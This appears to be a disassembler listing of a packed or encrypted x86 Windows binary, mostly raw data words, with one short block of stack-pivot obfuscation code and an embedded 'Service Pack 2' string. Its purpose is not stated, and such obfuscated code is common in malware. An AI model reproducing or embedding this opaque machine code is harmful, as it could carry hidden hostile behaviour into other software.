		dd 0BF36072h, 0B071484Dh, 3176A7A3h, 0A19FEF17h, 0A976A7E8h
		dd 62BE350Ah, 4A15DAB9h, 0DDDF9C81h, 0F9B6675Ah, 5921A72Dh
		dd 0B176A7A0h, 0EEB5F8F1h, 0B552DB61h, 0B552E3F5h, 0B176A72Dh
		dd 96B5F05Ah, 0B8B6E50h, 80E17278h, 0B1752EACh,	679A7D1h
		dd 87041E39h, 34FBAE49h, 0B699B776h, 0BF111A90h, 494DA061h
		dd 0BE46A033h, 5A316E72h, 58501424h, 0B176A7F9h, 97B27FC3h
		dd 8C20AB8Ah, 9D84D622h, 0C18917C1h, 0E476CD63h, 0B176A44Bh
		dd 722B87D1h, 951A2EB5h, 95322670h, 0B176B13Eh,	7223E21Dh
		dd 58B7C42Dh, 0B176A749h, 8CE4621Fh, 518D2052h,	0D9E721B5h
		dd 0CF54AF1h, 0B69FBC53h, 0C9F2A81Ch, 0DB76A78Eh, 0B29EF447h
		dd 9176A7A3h, 382D648Ah, 307283B4h, 0AC728330h,	0F276A73Ah
		dd 2BE3644Eh, 0B9567D94h, 0EF7864A0h, 0B176B54Ah, 1E2294D1h
		dd 28671CDDh, 0C5643CF8h, 0DEF21FC9h, 322D8250h, 5860B233h
		dd 3479A740h, 0B176A78Ch, 5927A7BBh, 0B176A7EBh, 0E8B5FE54h
		dd 0B552EBB3h, 0B552E39Ch, 0B176A799h, 63B5F606h, 32C0EAC5h
		dd 5858126Ch, 3579A7EFh, 0B176A75Ch, 581E64BAh,	0B176A7DEh
		dd 5927A7E4h, 0B176A744h, 0E8B5FE83h, 0B552EB58h, 0B552E369h
		dd 0B176A76Ch, 16B5F67Bh, 0B745708Fh, 0AA1F1A0Dh, 0BE77A0AEh
		dd 0B176C126h, 0BE5E14D1h, 0DB2B7C57h, 0B29EF174h, 9176A73Ah
		dd 38286443h, 307283FAh, 0A9728303h, 0F776A7A3h, 90B46487h
		dd 313893F0h, 0DBB50587h, 0B29EF63Ah, 9176A71Dh, 382F64D7h
		dd 3072830Bh, 0A67283E7h, 0F076A7D1h, 0B0CD64B9h, 307993D7h
		dd 0B176A73Eh, 5DAC1C7Bh, 0B1769967h, 0B9FBA847h, 0BE76A7A3h
		dd 0B176A554h, 0ECB814E8h, 5924A71Eh, 0B176A739h, 0EBB5FD3Dh
		dd 0B552F307h, 0B552E3C6h, 0B176A7B8h, 8B5F593h, 2F6671E0h
		dd 0BEF99D31h, 0B176A3B7h, 11CCC11Dh, 3C8F6856h, 5E7C45FAh
		dd 0A8FB2AA4h, 97148C1h, 0CA4CFBF5h, 0BE4F2247h, 7E5DA0D3h
		dd 4987041Eh, 7634FBAEh, 90B699B7h, 61BF111Ah, 33494DA0h
		dd 72BE46A0h, 835A316Eh, 0A4F305E9h, 0ABABD83h,	740007EFh
		dd 5A8D8D0Dh, 0B807E94Dh, 1, 0F40E1FFh,	0BB66D6B7h, 6AD0F4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 205336C3h, 0A2994F8Bh, 0D2816650h, 835B6576h, 0BA662DE8h
		dd 0C08BFFBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	53C35242h, 785864B8h, 8B662C58h, 0A5BD83D3h, 7E918h
		dd 0BD830975h, 7E91A45h, 50197400h, 0B8C08B53h,	3FCh, 20F58589h
		dd 9D8D07E9h, 7EBD835h,	585BD3FFh, 1A45BD83h, 740007E9h
		dd 0B8535017h, 3FCh, 20F58589h,	9D8D07E9h, 7EBD4D6h, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F6C35747h
		dd 98DCB955h, 0D08A281Bh, 8D8DC08Bh, 7EF123Bh, 11E9h, 52DD3D00h
		dd 8A0F85Eh, 8A979267h,	2826ACBAh, 0B8660A69h, 8D89B23Bh
		dd 7E9320Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0F9C35646h, 6830Fh, 95330000h, 7E90E3Dh, 21519589h
		dd 85C707E9h, 7E922E5h,	6BACh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 73C35646h, 0E1F08075h, 89CF2EF1h
		dd 0E907F1B5h, 14E907h,	0D1620000h, 0B1CBCBD5h,	0CB86D70Fh
		dd 2C9C3E22h, 93DA7FD1h, 896005FDh, 0E92189BDh,	0B1858907h
		dd 6107E92Ch, 22B185C7h, 7E9h, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7BDBBBC3h
		dd 45B5FF26h, 0F07E920h, 68Dh, 0C9BD8900h, 0FF07E921h
		dd 0E9228595h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 3BE387BBh, 5E9h, 90D78900h
		dd 6A3D18h, 0C3195FFh, 0C08B07E9h, 0C1167DEBh, 0E51D28AAh
		dd 2FF8A325h, 7830F498h, 0D00504C0h, 0D398761h,	0DAF7AF26h
		dd 0F595621Bh, 3A79F363h, 0B8D2514Bh, 4ABDF9CDh, 0F8570F31h
		dd 23AEFCF3h, 0FF788505h, 0C1814748h, 2019DF63h, 91A5D951h
		dd 89813F8Dh, 0BD17D2F6h, 0AE039548h, 34B445D8h, 8ED4024Ah
		dd 815C9ADFh, 69950E08h, 8249BC1Dh, 0E1C8505Fh,	3FB1DB59h
		dd 0E7BBF3C5h, 7A36679Ch, 0BF7A1469h, 8E62EA22h, 0E8B44C9Dh
		dd 0Dh,	5A2A1807h, 5E9D0021h, 7B10B9D1h, 319D8B05h, 5807E926h
		dd 68F0Fh
		dd 85890000h, 7E91261h,	68E9C081h, 8E0F0000h, 16h, 11E9h
		dd 1D31A800h, 2DBE5474h, 168B59B1h, 0F311B58Bh,	0D22BF0C7h
		dd 0FFF8B70Fh, 0CE90234h, 0F5000000h, 628587FDh, 6C35964Fh
		dd 5EBDE8C0h, 0BBEE81F5h, 8137AA87h, 2ECDA7C9h,	2DF68179h
		dd 8171EFA7h, 6B8C2CF6h, 5BB9664Eh, 0B5895632h,	7E90729h
		dd 6610048Fh, 0B359F781h, 0C3D8D89h, 0EA8307E9h, 0DBD8901h
		dd 4A07E903h, 81F84A4Ah, 0FF97C0FAh, 0A0850FFFh, 89FFFFFFh
		dd 0E907858Dh, 9DE907h,	21860000h, 945ACDh, 50000h, 10000h
		dd 0A280000h, 20000h, 65530000h, 63697672h, 61502065h
		dd 32206B63h, 1Dh dup(0)
		dd 0E9000000h, 0BF0h, 0EF159168h, 67A4E907h, 0A168FFFAh
		dd 0E907EF16h, 0FFFA679Ah, 0EF17B068h, 6790E907h, 2568FFFAh
		dd 0E907EF18h, 0FFFA6786h, 0EF19A668h, 677CE907h, 0F568FFFAh
		dd 0E907EF19h, 0FFFA6772h, 0EF1DA068h, 6768E907h, 8968FFFAh
		dd 0E907EF1Eh, 0FFFA675Eh, 0C06D0F2Ch, 3BBAC054h, 68057799h
		dd 0DF56D4CCh, 119CD87Dh, 1F329E9Bh, 2D64D05Dh,	85AA06AFh
		dd 3CDE7AFBh, 0D0CAB342h, 6DB0E1A1h, 0AB193328h, 0DFD2A04Ah
		dd 305CC4DFh, 1DD7331h,	58D5A7B5h, 0EB7DEA05h, 0B5ABD7B6h
		dd 19E5BF37h, 73AC4C68h, 6D0C3028h, 19F554ACh, 0D97DD98Ch
		dd 6AEA3BA3h, 34538Eh, 8B530000h, 0BFC5199Bh, 0A0B35173h
		dd 0EDECA537h, 0A537B5AAh, 0C05626C9h, 0AA29857Ch, 33DF2873h
		dd 0DFD26C8Ah, 2873A9DFh, 4877331h, 8C19FABCh, 0D23Ah
		dd 0A04A8800h, 0D4700ED6h, 0F3AE3842h, 305CC4B3h, 0CFEB475Dh
		dd 0F4F2522Ah, 7CB4C668h, 7CC0B258h, 35B8BA50h,	5CBFF54Eh
		dd 195BF130h, 0FCBCF58Fh, 14305CC0h, 0FD5FA28Eh, 0CC11D5Fh
		dd 0ADE476E1h, 37B5AF1Ah, 0E19BBC18h, 59F6871Dh, 0ED046E71h
		dd 0BAED8016h, 80FA1EBFh, 1B2958F2h, 712FC6EEh,	0B884F005h
		dd 5A02942Ah, 0BE28C5B7h, 2A34E427h, 86F63777h,	32CBD920h
		dd 7C0E2804h, 87038505h, 0DD158F20h, 892054F9h,	3C34D17Bh
		dd 0D394CB1Bh, 0DB000009h, 3AD4030h, 0B4E08DEFh, 0FB55D8A2h
		dd 288429ABh, 6EFE7705h, 3044E9C9h, 820213BDh, 0CEAE41F3h
		dd 1567F527h, 0F6ABF798h, 286DAFB6h, 4A7E2C5Eh,	0FC58D5A7h
		dd 0C28A1C5Eh, 0F78D51D3h, 0B30CB63Bh, 619A33A0h, 571BB648h
		dd 1E3A7A2Fh, 0C8DA305Ch, 9B16A03Ah, 305C1E1Bh,	6543AFF5h
		dd 0B504AD2Ch, 67BFE537h, 0BD0FCC59h, 490D3908h, 0DDC4E0E1h
		dd 94B82872h, 0C6DC24F5h, 0EA1A8C1Ah, 0A8000000h, 0F3B3EE78h
		dd 1D305CC4h, 4933C787h, 552735E1h, 7A28CD89h, 445EA6D0h
		dd 95B824B6h, 0AD851FE7h, 0BFB79071h, 99B3305Ch, 3AE655D8h
		dd 9B162A00h, 305CC51Bh, 8B19AFF5h, 0D2AC4EEAh,	2CBCBF72h
		dd 3C5773C6h, 0E476D68Dh, 0AA384A9Ah, 564E6110h, 841E37B5h
		dd 73568D0Dh, 0D51D8728h, 6CFA7B29h, 0D62E4CE0h, 0AE4964CCh
		dd 9BF2AF39h, 0E12FC780h, 815A5A57h, 0E8BA2087h, 0B4465C00h
		dd 0FE770528h, 34BDBF52h, 3C3457DEh, 0C37166FEh, 0EB000008h
		dd 13BD3040h, 44F07DFFh, 8B25C8B2h, 3894199Bh, 5ECE6715h
		dd 2054F9D9h, 72F2238Dh, 0BEBE51C3h, 5778537h, 0E69B0768h
		dd 286DAEA6h, 4A6E5C6Eh, 9B43D5A7h, 0AF35098Bh,	651BB01Eh
		dd 19D19FC3h, 0AD420A94h, 0B97173D3h, 0F07DFF1Dh, 6FCDDF76h
		dd 0D90339D0h, 549CD87Dh, 0D6A04A76h, 0CEA8420Eh, 0FA1FC727h
		dd 78FBB682h, 1BC35DEFh, 0DDAC84F4h, 384FB089h,	0D66FF9ABh
		dd 3DF6D061h, 0C3250DBCh, 65879C29h, 0AAFD6890h, 0B6C06A4Eh
		dd 6ED8483Fh, 0D469286Dh, 1BA9CB61h, 50400C9Ah,	0C7C766D2h
		dd 25B72033h, 0C64A796Ch, 0D16B392Fh, 395E775h,	844A0E8Eh
		dd 549C0620h, 51F69120h, 628D93BDh, 3CC963F5h, 8456C9C1h
		dd 0AB5A96F5h, 9414ACE0h, 0CBB55A36h, 0BDB697Bh, 393BD17Dh
		dd 5E13DFE5h, 0FFB244D3h, 8C270C86h, 64E07A28h,	0B1F1A0D6h
		dd 637CE60Ch, 0BAFAB741h, 5A7CE60Ch, 993BBA48h,	84680173h
		dd 88097ABh, 7B48334h, 51FA0000h, 0E228E27h, 0C157C16Ch
		dd 8A9A36BFh, 26CB6508h, 0E841DF56h, 9E176588h,	0CC61E332h
		dd 0ADCF60h, 79F48694h,	97178A14h, 79286DADh, 0A0B31D43h
		dd 720BA537h, 2343884Eh, 4C52D8Ah, 384F5D30h, 713160FAh
		dd 0A3286D5Eh, 5F452901h, 8FED01CDh, 6E2E63FDh,	6E286D5Eh
		dd 576DB1CBh, 8D653Fh, 2AFA8094h, 47F28CAEh, 340E74AFh
		dd 3F883F37h, 6F000007h, 9701ACCCh, 0D874F983h,	0FA94436h
		dd 0BC189517h, 0DA52E399h, 9CD87D5Dh, 0EE6EA711h, 3A42D547h
		dd 81F319BBh, 621F8BECh, 286DAD22h, 0B3EAD8F2h,	0ECA537A0h
		dd 384FB058h, 9430CAD8h, 2679F486h, 75009A11h, 29C4E3F1h
		dd 285D3E0Ah, 0CC5928BDh, 0D01E5CE9h, 4C8B42FFh, 0DD6802E4h
		dd 8986EF93h, 0B051991Fh, 286CE9E4h, 0CAAC402Ch, 6CE9D7D7h
		dd 0D56B3928h, 0E9C2071h, 201DA836h, 0CE50F51Ch, 0DCF79662h
		dd 8E286D1Ch, 0C7455CF8h, 618D657Fh, 0DA73EB8h,	57890019h
		dd 0A262A189h, 978C2000h, 8D512BCFh, 5BE63BF7h,	0FC000000h
		dd 9B2DBAB3h, 7A3A7701h, 52305CC5h, 0E7D3C3BDh,	0CDD72F51h
		dd 8E12F33Fh, 86305CC4h, 1EC6C01Ch, 0D8A981FBh,	305CC3FCh
		dd 0C32359FCh, 0C71F61F7h, 4817618Bh, 0ED55A544h, 0A91BB861h
		dd 0C58430DDh, 16h, 1C9519Dh, 9D50000h,	374D91E3h, 0C4ACECA5h
		dd 3E64305Ch, 0B93FD0F2h, 0AAA3A35h, 521C1F9Ch,	4CE67006h
		dd 5C195555h, 61E5BF30h, 6345ADCFh, 0B4F3BB2Eh,	6DA9FB37h
		dd 9441AD4h, 27B4A7D8h,	2E29ABFh, 42911180h, 218378C8h
		dd 0E76FF993h, 0D3D12DAFh, 371B6667h, 0A9FB8021h, 34958055h
		dd 0FA875FDDh, 82A201BDh, 6C02900Fh, 4AAEA7DAh,	94007833h
		dd 57D5CD81h, 0D1677DC1h, 37D9F47h, 4A34C672h, 8B6909AFh
		dd 269955F4h, 5BEh, 802D4FECh, 0FB7A0014h, 28C5B759h, 9F16948Ch
		dd 0D15C183Dh, 5FF2DE5Bh, 0ED24901Dh, 0C56AC66Fh, 7C9E3ABBh
		dd 900A7302h, 6DABA1E1h, 6B597328h, 0ED6A04Ah, 9D2FB8BBh
		dd 0B59D35E4h, 0EA7FD37h, 43EE88A2h, 340834B7h,	6F98CF07h
		dd 0BF000005h, 0E751DC9Ch, 28842953h, 5FF97406h, 8C28C547h
		dd 0A621369h, 0CCA84D2Dh, 1E9EF721h, 6A122597h,	0B1C369CBh
		dd 524F5B3Ch, 286DAC52h, 4ADA88C2h, 9844D6A0h, 0F32F0B89h
		dd 0B7C569F5h, 0C3BD5F7Bh, 0C564A863h, 0E68FE903h, 30DC635Dh
		dd 0EE0CC884h, 4E09A48Ch, 59000000h, 0F3B3EE78h, 1D305CC4h
		dd 7BF6AB87h, 0F448CADAh, 34CE58EEh, 0ADDC7899h, 534642F4h
		dd 305CA953h, 9D0BE7BDh, 0B59F6DE4h, 875F4537h,	0C1BB5DF9h
		dd 0FA8B677Dh, 28739FDEh, 0B2580482h, 8A667CC0h, 0AA1AC766h
		dd 0C48C1A05h, 4Bh, 1A0B39Eh, 2FB589EBh, 0C4A4E49Dh, 366C305Ch
		dd 619B16A0h, 4F37B278h, 0F71BC355h, 3E99E885h,	3C287378h
		dd 0B2C06A1Eh, 7377BFFFh, 0BD535128h, 8E18862Fh, 73779313h
		dd 0CB277D28h, 0F0074BEFh, 982EB488h, 4801344h,	0B3B30000h
		dd 0ECA537A0h, 37B5A8F9h, 0F2B2EFB9h, 222873A7h, 0A612F280h
		dd 0BF1AEA94h, 2EC9F495h, 7F722FB9h, 372FCC8Ch,	0C654C06Dh
		dd 9A9568B4h, 0C2D37B0Dh, 40D6E242h, 4EDCE63Eh,	0E26A04E2h
		dd 0D0D2324Ch, 7D966918h, 861C27E3h, 0A03D49BEh, 0C255DBD3h
		dd 0CD586ABAh, 0D365ACD7h, 0A17EDEDEh, 846C3618h, 9945B158h
		dd 0AA380488h, 0B6C06A4Eh, 5EC9643Fh, 4E1AD5CCh, 0C8621FFAh
		dd 4D43433Eh, 0D7CD10B8h, 0B84CE2A2h, 0B8703210h, 5A76CED4h
		dd 185EF0B0h, 0B84D2969h, 2BB9EB10h, 4C564995h,	0BA6D57B1h
		dd 0A84C0AE8h, 88F43CD2h, 0C453DEE1h, 0B4847F32h, 0CC81810h
		dd 354F9715h, 0F99311FDh, 29D96C6Ch, 0CBC60E70h, 8CDF4CBh
		dd 61C95F45h, 5C1A309Ch, 6C1D5FF0h, 8CDF52Ch, 0D428BEE4h
		dd 952755F8h, 0F50686FBh, 34C608CDh, 90584A4Ah,	3EDF715Ch
		dd 9F16608Ah, 2CBE29C4h, 26E6A275h, 0F8921010h,	0E673336Eh
		dd 319D00E4h, 3815D1Fh,	5F69856Dh, 641A9FF7h, 753BA93Dh
		dd 1BBF7B09h, 8E0E83F1h, 7C00E5B6h, 0E5B68505h
		dd 79158F00h, 0B632722Fh, 0C0E200E5h, 730A9C32h, 0A9715A64h
		dd 0C23ABB8h, 3768846Ch, 0AA456811h, 0D23AB3Dh,	97218773h
		dd 9D55D7CFh, 3E7419ECh, 6A0B9908h, 1C3161FCh, 0BF44AE04h
		dd 11A4EFBAh, 0A58DF187h, 4599DB71h, 791E309h, 0BEEDF96Eh
		dd 63CFAE4Bh, 0BF28CB9Eh, 2415742Dh, 277D0055h,	5424C995h
		dd 13255D5Dh, 5FEDB7F1h, 0F935FD87h, 1325AC08h,	0ED650F1h
		dd 3B499517h, 32FE7E93h, 12F22FCEh, 6CC37A7Ch, 3Ch, 37A0B376h
		dd 0A9430BA5h, 636263CFh, 0C937B5ABh, 0A793E90Dh, 6C15E9BBh
		dd 2873AB50h, 0B0610834h, 8C19FA50h, 922879E5h,	826EFC7Eh
		dd 11B6Fh, 0CCC55F00h, 2873B6CCh, 30925E44h, 0FD1A04Ah
		dd 0B9AC02EDh, 80CC10A6h, 0D17D0F6Dh, 0E1E343C1h, 57AF2D65h
		dd 3F49E54Dh, 0C54D50A6h, 0C42C5F3Eh, 0E4383AD0h, 7B7343DAh
		dd 440888F9h, 9A08305Ch, 22551003h, 2E48E2D6h, 8DA5019Ch
		dd 62DDD0A8h, 0E37C0B96h, 87305C1Ah, 12920F75h,	2305C1Ch
		dd 0EE7812A0h, 5C1BF3B3h, 0AB871D30h, 732EB826h, 305C1C33h
		dd 0F107C7DDh, 0C52DB78Fh, 0AF393BD1h, 1C1C9C15h, 0AEF4305Ch
		dd 0D85B2E42h, 0F5C4BD4Fh, 0C737B4FAh, 0A880F81Fh, 0E7A7DAC4h
		dd 292872FAh, 0DE48E57Bh, 0A0D7AD47h, 0C632C1E0h, 0D9F082Bh
		dd 0C7D28594h, 0E5772D2Fh, 7E96D479h, 0CA58DACAh, 4EEC687Ah
		dd 0A5179E2Ch, 7B4DE490h, 1B3C35E1h, 1C494CBh, 41EA0000h
		dd 0FE12BE37h, 0B147F17Ch, 9A8A26CFh, 163B9518h, 0D851CF66h
		dd 8E2755F8h, 0FC71F322h, 30BDBF50h, 69047684h,	0A7E79A04h
		dd 69286DA7h, 0A74A6D53h, 9F2D4FE3h, 7E3E730Dh,	96305CC5h
		dd 7FD9240Ch, 0B012A3DDh, 0A537A0B3h, 0B5AAEDECh, 60F75F37h
		dd 72BEC418h, 2161108Eh, 0F32873AAh, 0C5C323B1h, 0BA327528h
		dd 0B27EEF94h, 7341F7D3h, 0B861ED28h, 1A63A91Bh, 0ABC58Ch
		dd 4A9D0000h, 2C4EE0A0h, 0AD38469Eh, 0E87FADBAh, 9A3EFA17h
		dd 48390577h, 305BF2EFh, 9E17618Bh, 39681832h, 7F0D6F8Dh
		dd 0B78F1DA7h, 56E077E2h, 0D8106A8Eh, 0D304D3CEh, 703237B4h
		dd 0A4267EE6h, 0E3EE4A58h, 0A03AAD48h, 0C6FD7BF1h, 0D973312Fh
		dd 85AAD87Dh, 3AD365FBh, 0F791708Ch, 0C8D51D54h, 6B3C96Ch
		dd 3C341408h, 0DBA31428h, 0C3000000h, 0BA54828h, 0BC1895E7h
		dd 0E34DE09Ah, 10BC31B3h, 66F67FFDh, 383CD1C1h,	8A0A1BB5h
		dd 0D6A649EBh, 1D5FFD5Fh, 0FEB3EF90h, 286DA6BEh, 4A462456h
		dd 0CE58D5A7h, 0A48C0E06h, 1598DA70h, 0D6A04AADh, 0CEA8420Eh
		dd 76E10C27h, 0B09DADE4h, 3B97384Fh, 99B6B15h, 3ECCA84Dh
		dd 1F9F12ACh, 0F1286DB1h, 74042BB3h, 82DE1AA8h,	0DB5A2436h
		dd 5DA1D379h, 0C253AA43h, 2EDF64E0h, 987003C2h,	658F658Bh
		dd 8CEA00C4h, 4B989515h, 0C9BA86CBh, 0FE9034AFh, 29790C96h
		dd 0C0E63CE0h, 0E153E270h, 59F294Bh, 4B2A0C8Ch,	502ACCCBh
		dd 568A663Ch, 54A82A7Ah, 7A7C1D23h, 0F43C3ED2h,	0A5482AC0h
		dd 8EA1E10Bh, 34CE58EEh, 4B2A3D7Dh, 9CDD7CBh, 354F97E5h
		dd 30EA1FDh, 50000000h,	0A14AF654h, 0A9430FD7h,	0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h, 685E55A9h, 5FAAh, 68241489h, 1010h, 68240C89h
		dd 6F12h, 53241C89h, 0EF1466BBh, 8BD98907h, 0C483241Ch
		dd 1C8B5404h, 4C48324h,	8B850h,	0D8010000h, 48B0889h, 4C48124h
		dd 8B000000h, 8951241Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 240C8B5Ch, 5E08950h,	4, 405h, 24048700h, 5BCCE95Ch
		dd 9B53FFFAh, 1FEC904Bh, 95D0D9A2h, 82F18DDBh, 0EF1F89B8h
		dd 0FFC50307h, 0C49C96E0h, 0C272490Ch, 7AA0D409h, 64FACF72h
		dd 9240065Ah, 0B4C64D44h, 0E256561Eh, 59C7BC60h, 0FBB5580Ah
		dd 0A8216012h, 70580122h, 8861A51h, 17E90Bh, 0DDC60000h
		dd 28ACh, 4 dup(0)
		dd 500E900h, 12A0000h, 0BE52FE77h, 718731BCh, 0DACA660Fh
		dd 0D67BD558h, 98910FA6h, 0CE671538h, 3CB13362h, 70FD7F90h
		dd 0A94436C4h, 0E7A7DAC4h, 29286DA4h, 0A04AAD13h, 0E81725D1h
		dd 2F66444Eh, 9BBF1FADh, 0C7F353E1h, 9AB4A32h, 14D91E3h
		dd 19B589EBh, 12BF87F5h, 87955FFEh, 54EE78F5h, 5CAF5D5Dh
		dd 5EDB730h, 77FE7E91h,	0FA4A32C5h, 0F945C7DEh,	0E2423ADDh
		dd 0E73F41D6h, 0A651F824h, 2F2C23F7h, 0A659EF1Ch, 2ACD07A6h
		dd 0DB71A352h, 61F789AFh, 0B65B039Dh, 31607EC6h, 305BD771h
		dd 0EB7301A3h, 0DBE93547h, 0D7536E1Fh, 0FB2B305Bh, 729A579h
		dd 621FA975h, 305BD722h, 0B5DBB0F2h, 0AD47E614h, 0CDF5CF0Ch
		dd 5D718431h, 51000000h, 44D6A04Ah, 3A0A8898h, 752C40A8h
		dd 305CC533h, 9C3DDC30h, 8430E024h, 142h, 0A64A6000h, 0A84C08D4h
		dd 4E4672D2h, 962456FAh, 0C6B45804h, 6011637Eh,	2D13FD24h
		dd 0B31F539Fh, 4B07DF99h, 8605D95Bh, 9A43BF5Eh,	0F91DD776h
		dd 0B446F283h, 0DDA530CAh, 0D52D48AEh, 52F0FD35h, 9D5A74Ah
		dd 0FD7A94Dh, 0A0E091EBh, 70305CC4h, 0BA8AF004h, 38049A28h
		dd 7A7C1D63h, 0E2423CD2h, 89AC08E0h, 44D642F3h,	0C543433Eh
		dd 0D7CD305Ch, 3FD1FD41h, 9577803Ah, 0DA3E291h,	0D4759931h
		dd 3195AD07h, 88C984h, 4A990000h, 7F09D5A7h, 933B45D7h
		dd 0A220FC7Ch, 0B2CC6256h, 0E19BBC18h, 77AB871Dh, 0EF17B65Ah
		dd 0C55C5C55h, 0D8B4305Ch, 7AB64436h, 37C1BB5Eh, 38F088AFh
		dd 0B0F61BB5h, 0F549DF9Dh, 0AFC963EBh, 31E54D57h, 378363E1h
		dd 0C9855923h, 1C895527h, 39A151F8h, 4DA77415h,	0A98430DAh
		dd 41h,	0D5A74A39h, 0D2AA4D09h,	0CAB44672h, 0C5475E7Ah
		dd 11B85C79h, 0F9A0B4E1h, 0D0642ACFh, 554C5AAAh, 305CC555h
		dd 0C157E5BFh, 0A64A962Ch, 3E9908D4h, 1D305CC5h, 3F8152FBh
		dd 0BF8430E0h, 1, 0DAA44A0Bh, 0D2AC4E0Ah, 52FB1D72h, 77FE8096h
		dd 14A6313Ch, 0B5ADA29Dh, 32129037h, 6B0A7486h,	8D5123C9h
		dd 0BA3A6BF3h, 0AE0D8F7Eh, 25CB2873h, 29CF8B5Bh, 0D3C38F57h
		dd 56F78D51h, 88D81BC2h, 55C09DD3h, 0C7C9BC52h,	0E374D026h
		dd 0D7655199h, 0A14B13A5h, 0BD750FD7h, 32768430h, 72D260E2h
		dd 7ACAB446h, 0ABE5FA1h, 580496E0h, 697BCB49h, 3AA23C81h
		dd 9E6610h, 73381191h, 13A10328h, 6D1CE427h, 87118C1Ah
		dd 73448A0Ah, 0BC188A28h, 871DE19Bh, 13B76ABh, 784C0000h
		dd 0FD413BDCh, 0DB560BE7h, 0C8C7BA4Ch, 4E37B599h, 22B03262h
		dd 57D5CC88h, 0DE1A62F7h, 5A243682h, 0A6D379DBh, 0B8E72632h
		dd 59E67DBEh, 375D25F3h, 873313A1h, 603B0B75h, 0A14B7D1Ch
		dd 36C05ED7h, 73263B7Bh, 63CFD528h, 1A7F60A0h, 0E509D58Ch
		dd 4E065B97h, 5C000000h, 9B2DBAB3h, 5CC4C6E6h, 88544EB0h
		dd 5CC49919h, 0D462B3B0h, 55A93FBDh, 5DA1D379h,	1BE7868Eh
		dd 18932A7Ch, 0D6BDFDF6h, 2EF686A9h, 0C62A0694h, 84031427h
		dd 0D3CE58F2h, 0B05C39D3h, 0FA8B673Dh, 305C39DAh, 70C5683Ah
		dd 95h,	37A0B392h, 93F1ECA5h, 0A23B37B5h, 7CF67621h, 0FEE24E15h
		dd 0DE7C58A4h, 1D730A9Ch, 0D24F849h, 5DFFC22Eh,	0C8C8B9BFh
		dd 482872F5h, 8978C45Ah, 2872F52Ch, 9054F51Fh, 585FC7Ah
		dd 0F62872F5h, 0CFF2E825h, 0DECBCB69h, 0D5B7D0E2h, 1BA93FA8h
		dd 0AA710C9Ah, 2258AFD4h, 0C0530EEAh, 0CCCC557h, 843065E9h
		dd 1CB8C61Eh, 26BC80FAh, 324CEECAh, 601A3C98h, 0F62A069Ch
		dd 0D3DE7F81h, 4C45D740h, 2876C88Ch, 0F486A804h, 0F75FCF66h
		dd 720C2E60h, 0B6821092h, 37A0B314h, 0A4ECECA5h, 0FEA4384Fh
		dd 0F680AA26h, 0D567EF7Fh, 0E1495BABh, 89552735h, 29AA7B18h
		dd 0A420FE57h, 0DF03EF6Dh, 16608A3Eh, 4032D884h, 2F66E6FCh
		dd 0E75351ADh, 0E29CBE1Ah, 0DC5EB602h, 40E9EF00h, 69047684h
		dd 4EEF60FDh, 113801A0h, 1D5FFDD9h, 3EEC1h, 54300000h
		dd 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh
		dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 89505E55h
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 4F68241Ch, 8900000Dh
		dd 8951240Ch, 4C181E1h,	81000000h, 4E9h, 240C8700h, 241C895Ch
		dd 942B850h, 542D4AECh,	559C501h, 2FC40410h, 1462BB53h
		dd 0D801E704h, 58C1895Bh, 2EDE68h, 24248900h, 4240481h
		dd 5B000000h, 4DBE5651h, 291F3A09h, 5E042474h, 8108438Fh
		dd 94D0843h, 1C8B1F3Ah
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0E2h, 2Ah, 7Ch
		dd 0D4C11844h, 0C4B84407h, 307EF24h, 1E0FFC5h, 0D5201B79h
		dd 3B214449h, 405BA5A3h, 0EB236C4Ah, 24h, 8 dup(0)
		dd 0BDE900h, 0B5890000h, 7EF257Bh, 1B69858Bh, 858B07E9h
		dd 7E921F9h, 25C5B58Dh,	858D07EFh, 7EC7789h, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 7EF25CBh, 1B69BD83h, 0F0107E9h, 2C85h
		dd 7BB5FF00h, 8B07EF25h, 0E921F985h, 27363507h,	0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 0EF257FB5h, 0B5FF5607h, 7EF257Bh, 21F9858Bh,	363507E9h
		dd 0FF348127h, 0CC483D0h, 257FB58Dh, 468B07EFh,	4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 69BD8300h, 107E91Bh
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	0EF25A485h, 59858907h
		dd 0E807E91Bh, 10h, 0E15A6A33h,	0BCD6FC3Bh, 0F3A513D8h
		dd 0DF672B9Bh, 0D5B26059h, 0CDC18161h, 8B00005Eh, 177D68F8h
		dd 12E90000h, 7000000h,	0C88C9817h, 0BF65169Dh,	947C5A27h
		dd 3899E579h, 810F5808h, 5, 0D38B6657h,	0BF31FF5Ah, 6AEBB8CAh
		dd 8175B35Eh, 906F9AEEh, 0E3816668h, 0F681824Eh, 5CF84483h
		dd 2860Fh, 0DA8B0000h, 987AC681h, 0D2BB5934h, 892FC996h
		dd 8B666031h, 7E9D1h, 66590000h, 0C41A24DAh, 0E98161D8h
		dd 67A76270h, 11E9h, 58471900h,	73082C05h, 56F2633Eh, 68DAD2CBh
